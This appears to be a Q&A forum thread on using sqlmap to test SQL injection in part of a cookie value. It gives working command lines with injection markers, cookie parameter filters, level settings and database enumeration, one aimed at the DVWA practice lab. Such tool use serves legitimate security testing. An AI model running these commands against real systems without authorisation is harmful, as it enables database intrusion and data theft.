How to inject a part of cookie using sqlmap - sqlmap

Question

I need to do SQL injection on a part of cookie using sqlmap. The target URL is static.
A sample cookie:
Cookie1=blah_var1/blah_val1/blah_var2/blah_val2/searchtext/userinput/blah_var3/blah_val3/.../
In this cookie i need to inject the "userinput" using sqlmap. I know --cookie parameter but it wont work in this case. This is like part of cookie alone have to be injected using sqlmap.
I don't know how to do this. Please help.

Answer 1

i got the same problem to inject SQL in Cookie, I looked at its help and its code, now finally something made some sense, let me put my hypothesis:
Cookie base inject works with only level>=2.
You need to specify param-filter='COOKIE'.
Do not let sqlmap to try for URI injections when it asked for, or else it will fail by doing GET/POST based testing.
If you specify custom injection marker on that testable cookie do not proceed with that, or else it will fail.
I didn't try so many combinations on 3rd and 4th points, feel free to invalidate them. Okay so, try something like this:
sqlmap -u 'protocol://test.server/test_url/' --cookie='id=*; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high' -p 'id' --param-filter='COOKIE' --skip='PHPSESSID,security' --flush-session --fresh-queries --proxy='https://localhost:7777' --dbs --dbms='mysql' --os='linux' --ignore-code=404 --output-dir=./sqlmapdir/ --level=2
options necessary for cookie based testing are: -u, --cookie, -p, --param-filter, --level.
Command tried on SQLMap version: 1.4.8#stable
output:
$ sqlmap -u 'http://dvwa.local/vulnerabilities/sqli_blind/' --cookie='id=*; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high' -p 'id' --param-filter='COOKIE' --skip='PHPSESSID,security' --flush-session --fresh-queries --proxy='https://localhost:7777' --dbs --dbms='mysql' --os='linux' --ignore-code=404 --output-dir=./sqlmapdir/ --level=2

Answer 2

Intercept all request, save it to a file and then give that file to sqlmap with -r parameter, by default sqlmap should check cookie.
sqlmap.py -r request.txt
You can use tamper data (firefox extension), or free version of burp proxy to intercept request.

Answer 3

Try something like this:
sqlmap.py -u localhost/vulnerable --cookie="STATE_COOKIE=%2F1%2F_VMD%2F1%26_REQS%2F_RVID%2FCriteriaResourceFilter%2F_TIME%2‌​F1403689244638%2F_ORVID%2FPassTrixMain%2FSEARCH_COLUMN%2FRESOURCENAME%2FSEARCH_VA‌​LUE%2Fsearchtext*"

Answer 4

This will test the parameter auth in the cookie:
sqlmap -u "website" --cookie='auth=blabla; uuid=blabla' -p auth --level=2
Level must be at least 2. This isn't the only way to specify the parameter to test, you can also use * to specify the injection point.
sqlmap -u "website" --cookie='auth=blabla; uuid=*' --level=2
